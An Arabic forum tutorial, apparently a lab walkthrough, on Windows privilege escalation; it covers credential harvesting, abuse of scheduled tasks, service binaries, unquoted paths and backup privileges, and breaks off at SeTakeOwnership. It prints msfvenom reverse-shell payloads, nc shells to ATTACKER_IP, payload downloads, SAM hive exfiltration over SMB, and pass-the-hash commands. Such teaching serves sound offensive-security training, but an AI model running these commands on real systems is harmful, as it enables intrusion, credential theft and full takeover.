صدقاً انا مبسوط جداً بكمية العلم الرائعة وبتمنى تزيدها كل يوم اكثر من الثاني

بارك الله فيك يا وحش وجزاك الله كل خير
وربنا يفتح عليك ويرزقك اضعاف مضاعفه مقابل كل حرف كتبته حتى تعلم غيرك من المسلمين.

تقبل مروري​
الله يسعدك ويوفقك يا رب 🥰🥰
 
  • Love
التفاعلات: STORM
الـ Privilege Escalation


5c3530e1fb732e4a93dd4d6b7cb8373d.png
بعمليات الاختراق لما تفوت على ويندوز بتلاقي حالك مستخدم عادي
المستخدم العادي هاد ما بكون عنده سلطة كبيرة او تحكم كبير بس بقدر يوصل لملفاته ومجلداته بس وما فيه طريقة يعمل مهام إدارية على الجها، يعني ما بتقدر يكون عندك تحكم كامل على الهدف اللي بتستهدفه

الموضوع هاد بحكي عن تقنيات أساسية بتساعد الهاكرز يرتقوا بصلاحياتهم في نظام ويندوز يعني بتقدر تستغل أي دخول مبدئي بمستخدم عادي على الجهاز عشان تطور لحساب مسؤول إذا كان ممكن

راح نركز على النقاط التاليه :

0. الـ انواع للحسابات في ويندوز
1. الـ Unattended Windows Installations
2. الـ Powershell History
3. الـ Saved Windows Credentials
4. الـ Internet Information Services
5. الـ Retrieve Credentials from Software: PuTTY
6. الـ Scheduled Tasks
7. الـ Always Install Elevated
8. الـ Service Control Manager
9. الـ Splinterware System Scheduler
10. الـ Unquoted Service Paths
11. الـ Insecure Service Permissions
12. الـ صلاحيات SeBackup / SeRestore
13. الـ SeTakeOwnership
14. الـ SeImpersonate و SeAssignPrimaryToken
15. الـ Unpatched Software ( البرامج غير المحدثة )
16. الـ
Druva inSync 6.6.3
17. Tools of the Trade ( أدوات الفحص )






0. انواع الحسابات في ويندوز
بنظام ويندوز في نوعين من الحسابات للمستخدمين بناء على مستوى صلاحياتهم :
  1. المسؤولين : هما المستخدمين لديهم أكبر قدر من الصلاحيات بإمكانهم يغييرو أي إعدادات بالنظام والوصول لأي ملف بالنظام
  2. المستخدمين العاديين : هما المستخدمين اللي عندهم وصول للكمبيوتر لكن بقدرو يعملو مهام محدودة فقط عادةً اللي ما بقدرو يعملو تغييرات دائمة أو أساسية على النظام بس على ملفاتهم الخاصة
أي مستخدم لديه صلاحيات إدارية سيكون جزءًا من مجموعة المسؤولين ومن ناحية أخرى يكون المستخدمون العاديون جزءًا من مجموعة المستخدمين

وايضا في حسابات مدمجة خاصة بنظام التشغيل:
  1. SYSTEM / LocalSystem : حساب يستخدمه نظام التشغيل لأداء المهام الداخلية عنده وصول كامل لجميع الملفات والموارد المتاحة على الجهاز بصلاحيات أعلى حتى من المسؤولين
  2. Local Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اتصالات مجهولة عبر الشبكة
  3. Network Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اعتمادات الكمبيوتر للمصادقة من خلال الشبكة

هاي الحسابات يتم إنشاؤها وإدارتها بواسطة ويندوز ولن تتمكن من استخدامها كحسابات عادية لكن ببعض الحالات ممكن تحصل على صلاحياتها بسبب استغلال خدمات معينه






1. الـ Unattended Windows Installations:
لما بدنا نثبت ويندوز على عدد كبير من الأجهزة المشرفين بيستخدموا خدمه توزيع ويندوز ( Unattended Windows Installations ) اللي بتسمح بنسخة ويندوز واحدة تنزل على عدة أجهزة عن طريق الشبكة هاي تعتبر عمليه تثبيت غير مراقبة
يعني الواحد مش لازم يتفاعل معها وبتحتاج استخدام حساب مشرف عشان تعمل الإعداد الأولي اللي قد يتخزن في الجهاز في مكان معين زي :
كود:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

في الملفات هاي ممكن تلاقي معلومات دخول زي :

كود:
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>



2. الـ Powershell History:
كل ما نكتب امر على الـ Powershell الأمر بتخزن بفايل هاد مفيد لما بتحتاج تعيد استخدام أوامر سابقة بسرعة لو حد يشغل أمر بالـ Powershell فيه كلمة سر بعدين بقدر يسترجعها

بأمر من الـ cmd : (عشان نقرأ الفايل من باورشيل لازم نغير %userprofile% لـ $Env:userprofile)

كود:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
بأمر من Powershell :
كود:
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt







3. الـ Saved Windows Credentials:
بنظام ويندوز في ميزة اسمها Saved Windows Credentials يعني بتتيحلينا نستخدم بيانات تسجيل الدخول خاصه بمستخدمين ثانيين
يعني لما نكتب الامر هاد بعرضلنا قائمة بالبيانات اللي انحفظت على النظام
كود:
cmdkey /list

طبعًا ما رح نشوف كلمات مرور بالتحديد بس لو شفنا أي بيانات مهمة ممكن نجربها
بنقدر نستخدمها بأمر runas مع إضافة الخيار savecred/ زي هيك :

كود:
runas /savecred /user:admin cmd.exe
الأمر هاد بخلينا نستخدم بيانات تسجيل الدخول بصلاحيات admin







4. الـ Internet Information Services:
إعدادات IIS اللي هي Internet Information Services هاد الويب سيرفر الافتراضي بالويندوز
إعدادات المواقع على الـ IIS بتتخزن بملف اسمه web.config والملف هاد بقدر يحتفظ بكلمات السر لقواعد البيانات أو آليات المصادقة اللي مُعدَّل عليها حسب إصدارة الـ IIS اللي مثبت على الجهاز

بنقدر نلاقي ملف web.config بأحد الأماكن هاي :
كود:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

في طريقة سريعة للبحث عن الـ database connection strings في الملف بنكتب الأمر هاد :
كود:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString







5. الـ Retrieve Credentials from Software: PuTTY:
هو برنامج للشبكات بويندوز
بنستخدمه عشان ندخل على الـ SSH
بتساعدك عشان ما تحتاج تكتب كل مرة الـ IP واسم المستخدم وهيك بتقدر تحفظ إعدادات الجلسات يعني بعد ما تعمل اتصال مرة بتقدر تخليه يتذكرها

بس للأسف الـ PuTTY ما بحفظ كلمات السر الخاصة بالـ SSH بس بخزن إعدادات البروكسي اللي فيها المعلومات التحقق من الهوية

عشان نوصل للمعلومات هاي بندور بالريجستري بالويندوز بالمسار هاد:

كود:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

الـ Simon Tatham هو اللي صاحب البرنامج PuTTY بعد ما ننفذ الأمر هاد بنشوف اسم المستخدم للبروكسي اللي حفظته

مش بس PuTTY اللي بتحفظ كلمات السر أي برنامج ثاني بخزن كلمات السر زي المتصفحات وبرامج الإيميل والـ FTP والـ SSH وحتى البرامج اللي بتسمحلك بالتحكم عن بعد زي VNC بتقدر تجيب كلمات السر بطرق مختلفة







6. الـ Scheduled Tasks:
يعني تشوف المهام المجدولة على النظام ممكن نلقى مهمة مجدولة ممكن ضاع منها ملف او في ملف ممكن نقدر نتحكم فيه

بنقدر نشوف المهام المجدولة من الكوماند لاين باستخدام الأمر schtasks من غير أي خيارات وعشان نجيب معلومات تفصيلية عن أي مهمة بنقدر نستخدم أمر زي هاد :

كود:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

بتظهر معلومات كثيرة عن المهمة بس اللي بهمنا هو المتغير Task to Run اللي بوضح اللي بتنفذ من المهمة والمتغير Run As User اللي ببين مستخدم اللي بنفذ المهمة

لو المستخدم الحالي بقدر يعدل أو يغير الملف اللي ينفذه بنقدر نتحكم بشو ينفذ من قبل المستخدم taskusr1 وهيك بكون تطوير بسيط بالصلاحيات

عشان نشيك على صلاحيات الملف بنستخدم icacls :

كود:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

مجموعة BUILTIN\Users عندها صلاحية كاملة ( F ) على الملف يعني بنقدر نعدل الملف bat. ونحط فيه أي شي بدنا اياه ممكن نلاقي nc64.exe بالـ C:\tools بنقدر نغير الملف بحيث يعطينا ريفيرس شل :

كود:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

واكيد بنفتح ليسنر على جهازنا اللي هو المهاجم على نفس المنفذ اللي حددناه لريفيرس شل :

كود:
nc -lvp 4444

بالمرة الجاية اللي بتشتغل فيها المهمة المجدولة بيجينا ريفيرس شل بصلاحيات المستخدم taskusr1 بالعادة ما بنقدر نشغل المهمة يدوياً في حالة الاختبار الحقيقي وبنتضطر ننتظر لحد ما يشغل المهمة المجدولة
بس بالمثال هون بنقدر نشغلها يدويا عشان يوفرولنا وقت عن طريق الامر التالي
كود:
C:\> schtasks /run /tn vulntask

وبيجينا ريفيرس شل بصلاحيات taskusr1 زي ما توقعنا :

كود:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\taskusr1






7. الـ Always Install Elevated:
ملفات التثبيت الخاصة بويندوز (المعروفة بـ msi files. ) تستخدم لتثبيت برامج على النظام
عادةً بتشتغل بصلاحيات المستخدم اللي بدأها بس بنقدر نعدلها عشان تشتغل بصلاحيات أعلى حتى لو كنت مستخدم عادي وطبعا هاد ممكن يسمحلك تولد ملف msi. يشتغل بصلاحيات الأدمن

هاي الطريقة بتحتاج قيمتين بالريجستري بتقدر تشيك عليهم من الكوماند لاين بالأوامر اللي تحت :

كود:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

عشان نستفيد من الثغرة هاي لازم يكون الاثنين مضبوطين وإلا ما رح تقدر تستغل الثغرة لو هما مضبوطين بتقدر تولد ملف msi. باستخدام msfvenom زي ما في الأمر :

كود:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

عشان هذا ريفيرس شل لازم تشغل موديول الـ handler بـ Metasploit مضبوط بناءً على الريفيرس شل زي ما شرحت سابقا

لما تنقل الملف اللي سويته بتشغل المثبت بالأمر التالي وبيجيك اتصال من الريفيرس شل :

كود:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi



8. الـ Service Control Manager:
عننا خدمات ويندوز دايماً تحت الرقابة عندها يعني في خدمة اسمها Service Control Manager اللي هي مسؤوله عن إدارة حالة الخدمات وبتشيك على وضع كل خدمة

كل خدمة بالويندوز عندها ملف تنفيذي مرتبط معاها اللي بشغلها Service Control Manager
مهم جداً تعرف إن الملف التنفيذي للخدمة لازم يكون فيه وظائف خاصة عشان يتواصل مع Service Control Manager فـ مش أي ملف يمكن يتشغل كخدمة
وكل خدمة بتحدد حساب المستخدم اللي بتشتغل تحته

عشان نفهم أكثر خلينا نشوف مثال على خدمة اسمها apphostsvc باستخدام أمر sc qc :

كود:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

هون مبين الملف التنفيذي للخدمة محدد بالمتغير BINARY_PATH_NAME
والحساب اللي بشتغل تحته بتظهر بالمتغير SERVICE_START_NAME

كل خدمة فيها قائمة تحكم وصول اسمها Discretionary Access Control List بتحدد مين اللي عنده إذن يشغل و يوقف و يوقف مؤقت و يشوف الحالة و يشوف الإعدادات أو يعدل عليها وغيرها من الصلاحيات.
القائمة هاي بتقدر تشوفها من برنامج اسمه Process Hacker اللي موجود على سطح المكتب :

Service DACL

كل الـ services configurations بتتخزن بالريجستري تحت HKLM\SYSTEM\CurrentControlSet\Services:


في مجلد فرعي لكل خدمة بالنظام بنشوف الملف التنفيذي المرتبط بالقيمة ImagePath والحساب المستخدم لبدء الخدمة على قيمة ObjectName
لو كان في قائمة تحكم وصول للخدمة بتتخزن بمجلد فرعي اسمه Security كمان بس المسؤولين بقدروا يعدلوا على القيم هاي بالريجستري بشكل طبيعي




9. الـ Splinterware System Scheduler:
اذا كان في ملف قابل للتنفيذ مرتبط "بخدمه معينه" الاذونات اللي فيها ضعيفه بنقدر نعدلها او نستبدلها عشان نرفع ريفيرس شل

أول اشي بنستخدم أمر عشان نشوف إعدادات الخدمة بواسطة الأمر sc

كود:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

بيين عننا الخدمه WindowsScheduler بتشتغل تلقائي واسم الحساب الخاص فيها هو svcuser1/.
وأن الملف القابل للتنفيذ المرتبط بالخدمة موجود في C:\Progra~2\System~1\WService.exe

بعدها بنشوف الصلاحيات على الملف التنفيذي الخاص بالخدمة بواسطة الأمر icacls

وبطلعلنا إن مجموعة الـ Everyone عندها صلاحيات تعديل ( modify ) على الملف يعني أي حد ممكن يعدل عليه

كود:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

ممكن نستغل هاي الثغرة عن طريق msfvenom عشان نولد ملف ونرفعه على جهاز الضحيه عن طريق ويب سيرفر بنعمله ببايثون

كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

بعدها بننزل الملف اللي عملناه على جهاز الضحيه عن طريق السيرفر اللي فتحناه

كود:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

بعدها بنستبدل الملف التنفيذي الأصلي للخدمة بالملف التنفيذي اللي عملناه احنا

كود:
C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

وبعد هيك اكيد بنفتح ليسنر عشان جينا اتصال من جهاز الضحية

كود:
user@attackerpc$ nc -lvp 4445

اخر اشي بنعيد تشغيل الخدمة ولو كنت باختبار اختراق بدك تستنا تشتغل الخدمة تلقائي بس بالتحدي هون اعطوك صلاحيات عشان تقدر تعيد تشغيل الخدمة لحالك وتوفّر وقتك

كود:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

واكيد راح يجينا اتصال بصلاحيات الحساب اللي اسمه svcusr1

كود:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr1







10. الـ Unquoted Service Paths:
اذا ما قدرنا نكتب مباشرة بملفات الخدمات زي قبل ممكن يكون في فرصة لإجبار الخدمة تشغل ملفات تنفيذية عشوائية

لما بنشتغل مع خدمات الويندوز بحصل سلوك معين جدًا لو الخدمة تم اعدادها لتشغل ملف تنفيذي unquoted يعني بدون اقتباس
يعني مسار الملف التنفيذي المرتبط بالخدمة المعينة مش محطوط بشكل صحيح بحيث يعتبر الفراغات في الأمر

مثلا خلينا نشوف الفرق بين خدمتين (هاد فقط مثال وممكن ما يكون موجود بجهازك)
الخدمة الأولى بتستخدم اقتباس صحيح عشان تضمن إن الإدارة الها تشغل الملف التنفيذي المشير له بـ C:\Program Files\RealVNC\VNC Server\vncserver.exe بعد هيك البارامترات اللي معطاه :


وهسا نشوف خدمة مع اقتباس صحيح :

كود:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

معلومة: في باورشيل بستخدم sc كـ اختصار لـ Set-Content عشان هيك لازم نستخدم sc.exe عشان نتحكم بالخدمات إذا كننا بـ باورشيل


وهسا نشوف خدمة ثانية بدون اقتباس صحيح :

كود:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2


لما النظام يحاول يشغل الملف التنفيذي المرتبط بالخدمة بحصل مشكلة لأنو في فراغات باسم مجلد Disk Sorter Enterprise الأمر غامض شوي والنظام مش عارف بالضبط أي اشي من اللي تحتاج تشغل :

CommandArgument 1Argument 2
C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe


هاد الموضوع اله علاقة بطريقة تحليل الامر عادةً لما تبعث أمر
الفراغات بتستخدم كفاصل بين الوسائط اذا ما كانت موجوده بين الـ " "
هاد يعني التفسير "الصحيح" للأمر اللي مش محطوطله اقتباس هو تشغيل C:\MyPrograms\Disk.exe واستخدام الباقي كوسائط

بدل ما يفشل النظام بحاول يساعد المستخدم وببدأ يدور على كل الملفات التنفيذية بالترتيب الموضح في الجدول :

اول اشي
  1. بدور على C:\MyPrograms\Disk.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  2. بدور على C:\MyPrograms\Disk Sorter.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  3. بدور على C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe الخيار هاد متوقع ينجح وعادة يتم تشغيله بالتثبيت الافتراضي , من هذا التصرف بينلنا انو لو المهاجم عمل أي من الملفات التنفيذية اللي النظام بدور عليها قبل الملف التنفيذي المتوقع بأمكاننا نجبر الخدمة تشغل ملف تنفيذي عشوائي

معظم ملفات الخدمات بتتثبت تحت C:\Program Files أو C:\Program Files (x86) بشكل افتراضي واللي مش ممكن تتكتب فيه من مستخدمين ما معهم صلاحيات هاد بمنع أي خدمة ضعيفة من التعرض للاستغلال
بس في استثناءات للقاعدة هاي : - بعض برامج التثبيت بتغير الصلاحيات على المجلدات المثبتة اللي بتخلي الخدمات عرضة للخطر - المشرف ممكن يقرر يثبت ملفات الخدمة في مسار غير الافتراضي لو المسار هاد كان ممكن نكتب فيه من أي مستخدم فالثغرة ممكن تستغل

في حالتنا المشرف ثبت ملفات Disk Sorter تحت c:\MyPrograms بشكل افتراضي هاد برث صلاحيات C:\ directory اللي بتسمح لأي مستخدم بإنشاء ملفات ومجلدات فيه ممكن نتأكد من هاد باستخدام icacls :

كود:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files


مجموعة BUILTIN\Users فيها امتيازات AD و WD اللي بتسمح للمستخدم بإنشاء مجلدات فرعية وملفات على التوالي

عملية إنشاء payload exe-service باستخدام msfvenom ونقلها إلى الجهاز المستهدف هي نفسها اللي عملناها قبل

بمجرد ما يكون الـ payload بالخادم بننقلها لأي مكان قد يحدث فيه تسلل بهاي الحالة بننقل الـ payload لـ C:\MyPrograms\Disk.exe وبنمنح Everyone أذونات كاملة على الملف عشان نتأكد انه يتم تشغيله بواسطة الخدمة :
كود:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.


بمجرد إعادة تشغيل الخدمة بيجينا اتصال :

كود:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

هيك بنحصل على ريفيرس شل بصلاحيات svcusr2 :

كود:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr2






11. الـ Insecure Service Permissions:

لو فيه خدمة على الجهاز وبتكون إعداداتها مظبوطة ومكان ملف التشغيل (binary path) تاعها مكتوب صح ممكن تستفيد منها بشكل غير متوقع
لو الخدمة نفسها (مش الملف التنفيذي تاعها) مسموحلك تعدل إعداداتها بتقدر تغيرها وتشير لأي ملف تنفيذي ثاني وتشغله بأي حساب بدك اياه حتى لو كان حساب SYSTEM اللي هو أعلى صلاحية بالنظام

عشان تتأكد من إعدادات الخدمة (DACL) باستخدام سطر الأوامر
ممكن نستخدم أداة Accesschk من مجموعة Sysinternals بنلاقي نسخة منها موجودة بالـ C:\tools والأمر اللي بنستخدمه عشان نتأكد من إعدادات خدمة معينة اسمه thmservice هو :

كود:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS


الجزء هاد معناه إن مجموعة المستخدمين العاديين (BUILTIN\Users) عندهم تصريح كامل للخدمة (SERVICE_ALL_ACCESS) يعني أي مستخدم بقدر يعيد تكوين الخدمة
بنبني ريفيرس شل زي ما تعلمنا سابقا
وبنشغل الـ listener :
كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

بننقل الملف التنفيذي لجهاز الضحية وبنحطه بـ C:\Users\thm-unpriv\rev-svc3.exe بنستخدم wget عشان ننقل الملف للمكان اللي بدنا اياه وبعدين لازم نعطي صلاحيات للجميع (Everyone) لتشغيل الملف :

كود:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
عشان نغير الملف التنفيذي المرتبط بالخدمة ونستخدم الحساب اللي بدنا اياه بنستخدم الأمر هاد (انتبه للمسافات بعد علامة = عند استخدام sc.exe) :

كود:
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

اكيد ممكن نستخدم أي حساب لتشغيل الخدمة احنا اخترنا LocalSystem عشان هو أعلى حساب صلاحية

عشان نشغل الملف التنفيذي لازم نعيد تشغيل الخدمة :

كود:
C:\> sc stop THMService
C:\> sc start THMService

بنرجع للمستمع وبنشوف الاتصال بنظام الضحية بصلاحيات SYSTEM :
كود:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM


كل مستخدم عنده مجموعة إمتيازات معينة ممكن يتأكد منها باستخدام الأمر :
كود:
whoami /priv

قائمة كاملة بالصلاحيات المتاحة على أنظمة الويندوز بتقدر تلاقيها هون


بالنسبة للمهاجمين اللي بهمهم بس هي الصلاحيات اللي بتخليهم يقدروا يسيطروا على النظام


قائمة بالصلاحيات اللي ممكن تُستغل موجودة في مشروع Priv2Admin على Github بالرابط التالي




12. الـ صلاحيات SeBackup / SeRestore:

الصلاحيات هاي بتسمح للمستخدمين بقراءة وكتابة أي ملف بالنظام بدون أي إجراءات حماية (DACL) الفكرة من الصلاحيات هاي إنها بتسمح لبعض المستخدمين يعملوا نسخ احتياطية من النظام بدون ما يحتاجوا صلاحيات إدارية كاملة

بامتلاك الصلاحيه هاي المهاجم بقدر يرفع صلاحيته بالنظام بسهولة باستخدام تقنيات كتير هون راح نشوف طريقة عبارة عن نسخ ملفات تسجيل النظام (SAM و SYSTEM) لاستخراج كلمة مرور الـ Administrator's


الحساب هاد جزء من مجموعة Backup Operators اللي عندهم بشكل افتراضي صلاحيات SeBackup وSeRestore بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بعد ما نفتح الـ cmd عشان نتاكد من الصلاحيات بنستخدم الامر :
كود:
whoami /priv

بعطينا اشي زي هيك

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

عشان ننسخ ملفات SAM و SYSTEM بنستخدم الأوامر هاي :

كود:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

هيك بنتج ملفين فيهم محتوى تسجيل النظام بنقدر ننقل الملفات هاي لجهاز المهاجم باستخدام SMB أو أي طريقة ثانية
للـ SMB بنقدر نستخدم impacket's smbserver.py لبدء خادم SMB بسيط بمشاركة الشبكة بالدليل الحالي لجهاز المهاجم :

كود:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

هاد بعمل مشاركة اسمها public بتشير لدليل المشاركة وبتحتاج اسم المستخدم وكلمة المرور بعد هيك بنقدر نستخدم النسخ بجهاز الويندوز لنقل الملفين لجهاز المهاجم :

كود:
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

ونستخدم impacket لاستخراج كلمات مرور المستخدمين :

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

بطلعلنا اشي زي هيك

كود:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

بنقدر نستخدم الهاش الخاص بالـ Administrator لعمل هجوم Pass-the-Hash والدخول للجهاز المستهدف بصلاحيات النظام (SYSTEM):

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

هيك بنكون دخلنا على النظام
كود:
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system



13. الـ SeTakeOwnership:

ميزة SeTakeOwnership بتسمح للمستخدم إنه ياخذ ملكية أي اشيء بالنظام زي الملفات ومفاتيح التسجيل وهاد بفتح فرص كبيرة للمهاجمين عشان يرفعو صلاحياتهم
زي مثلاً لما ندور على خدمة شغالة بنظام SYSTEM ونوخذ ملكية الملف التنفيذي تاعها

بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بنقدر نتأكد من صلاحياتنا باستخدام الأمر :

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled

